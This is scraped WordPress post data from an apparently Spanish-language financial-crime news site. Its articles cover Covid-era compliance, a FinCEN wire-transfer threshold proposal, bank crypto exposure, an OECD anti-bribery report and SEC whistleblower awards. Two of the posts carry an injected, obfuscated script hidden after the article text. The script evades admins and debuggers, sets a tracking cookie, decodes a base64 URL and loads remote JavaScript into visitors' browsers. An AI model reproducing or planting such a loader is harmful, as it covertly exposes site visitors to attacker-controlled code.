el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: 